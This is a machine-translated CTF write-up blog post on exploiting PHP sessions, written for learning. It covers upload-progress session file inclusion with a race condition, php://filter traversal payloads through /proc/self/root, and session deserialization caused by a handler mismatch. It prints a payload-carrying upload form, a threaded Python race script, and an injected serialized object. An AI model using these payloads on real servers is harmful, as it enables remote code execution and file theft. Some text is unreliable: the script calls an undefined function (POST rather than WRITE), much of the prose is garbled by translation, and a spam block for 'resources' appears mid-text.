Small ideas of session utilization

Posted by bliljerk101 on Fri, 07 Jan 2022 13:45:14 +0100

Small ideas of session utilization

preface

When doing questions, we often take into account the use of session. There are two common basic types: session file inclusion and session deserialization. We haven't summarized it in detail before, so let's write it.

session file contains

php.ini

session related configuration

session.upload_progress.enabled = on //enabled=on means upload_ The start of the progress function also means that when the browser uploads a file to the server, php will store the details of the file upload (such as upload time, upload progress, etc.) in the session;

session.upload_progress.prefix = "upload_progress_" //Will be represented as the key name in the session

session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" //When it appears in the form, php will report the upload progress, and its value is controllable!!!

session.use_strict_mode = off //The default value of this option is off, which means that we can control the sessionid in the Cookie!!!

session.save_path = /var/lib/php/sessions //There is also a / tmp / directory by default

When the session related configuration is as above, we can use session upload_ Progress writes malicious statements to the session file to contain the session file.

Usually, when we want to create a session, we often write the session in the php code_ Start(), but if we don't write it, it can also be created.

For example, in php Ini auto_ When start = on , php will automatically initialize the session when receiving the request, and there is no need to execute the session_start(). But by default, this option is turned off by default.

Fortunately, session also has a default option, session use_ strict_ Mode defaults to 0.

In this way, users can define their own session ID. For example, if we set PHPSESSID=AndyNoel in the cookie, we will create a file: sess in the server / tmp directory or / var/lib/php/sessions / directory_ AndyNoel. Even if the automatic initialization session is not set, php will generate a session and generate a key value, which is determined by ini Get ("session. Upload_progress. Prefix") + the session we constructed upload_ progress. It is composed of name values and is finally written to sess together_ In the file.

[WMCTF 2020]Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}
//Please hack me with your 0day!

It is easy to find that there is a File Inclusion Vulnerability, but we can't find a malicious file that can be included, so we can write malicious content to the session and then include it.

[I > all resources acquisition < I]
1. 200 out of print e-books that can't be bought
2. Video materials inside 30G safety factory
3. 100 src documents
4. Common safety interview questions
5. Analysis of classic topics in ctf competition
6. Complete kit
7. Emergency response notes
8. Network Security Learning Route

session maintenance

After creating the session according to the above ideas, the problem comes again, that is, in PHP Ini often has another setting

session.upload_progress.cleanup = on //It means that php will immediately empty the contents of the corresponding session file after the file upload is completed

The default configuration is session upload_ progress. Cleanup = on causes the contents of the session file to be emptied immediately after the file is uploaded. Once emptied, there is no way to use it. We need to find a way to leave the session inside, so we need to use conditional competition to include the session file before the content of the session file is cleared.

Method 1 | with the help of Burp Suite

You can write an upload page locally, then capture the package and add a cookie: phpsessid = Andy Noel, and then burst it with BurpSuite

<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat flag.php');?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

While constantly sending out requests containing malicious sessions, constantly sending out requests to maintain malicious session storage. In this way, you can use conditional competition to leave malicious content in the session.

Method 2 | python script

The principle is similar to the above, but we don't need to bother so much by directly writing scripts, writing shell s and picking up flag s

import io
import sys
import requests
import threading
sessid = 'AndyNoel'

def WRITE(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://localhost/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');?>"},
            files={"file":('1.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        resp = session.get(f'http://localhost/index.php/?file=../../../../../../../../tmp/sess_{sessid}')

        if 'flag{' in resp.text:
            print(resp.text)
            sys.exit(0)
        else:
            print('Thinking[+++++++]')

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

Method 3 (unexpected) | pseudo protocol is bypassed by cooperating with multi-level symbolic link.

Here's a little bit of knowledge, / proc/self points to / proc/pid /, and / proc/self/root / is the symbolic link to /. When you think of it, you can bypass it by using pseudo protocol and multi-level symbolic link.

payload: 

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

Another payload

?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php

session deserialization

Different processors have different processing methods. If the methods of serializing and storing session s are different from those of deserializing, it may lead to vulnerabilities.

Jarvis OJ WEB PHPINFO

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

If we only look at the php code, we can't find a place where the parameters can be controlled, so what method is used to deserialize? session.serialize_handler

session.serialize_handler (string) is used to define the processor name for serialization / deserialization. Currently, PHP serialization format (named php_serialize), PHP internal format (named PHP and php_binary) and WDDX (named wddx) are supported. If PHP is added at compile time WDDX support , only WDDX can be used.  php_serialize , simply use the serialize/unserialize function internally, and there will be no PHP and PHP_ The limitations of binary. Using an older serialization processor resulted in$_ The index of a SESSION cannot be a number or contain special characters (| and!).

You can take a look at the phpinfo of the topic environment in the session section

Default session serialize_ The handler is php_serialize, which is set to php here:

This is obvious because the processing format corresponding to the processor is different, resulting in the session deserialization vulnerability

But it's not enough, because we still can't control variables. There's an interesting place to read the PHP manual:

In that case, we can take a look at PHP Ini settings

  • session.upload_progress.enabled = on
  • session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS

If the setting is like this, we can construct deserialization.

<?php
class OowoO
{
    public $mdzz='var_dump(scandir("/opt/lampp/htdocs/"));';//Seen from phpinfo
}
$obj = new OowoO();
echo serialize($obj);
?>
O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}

In order to prevent double quotation marks from escaping, you should handle it by adding \ beforedouble quotation marks, so it should be like this

O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\";}

Then write a submission page locally:

<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ADNL" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

For packet capture modification, add "|" before the serialized string and submit it.

Summary

The security problems related to session are mainly the two utilization points of file inclusion and deserialization, using PHP_SESSION_UPLOAD_PROGRESS can bypass most filters.

Topics: PHP Cyber Security penetration test Information Security security hole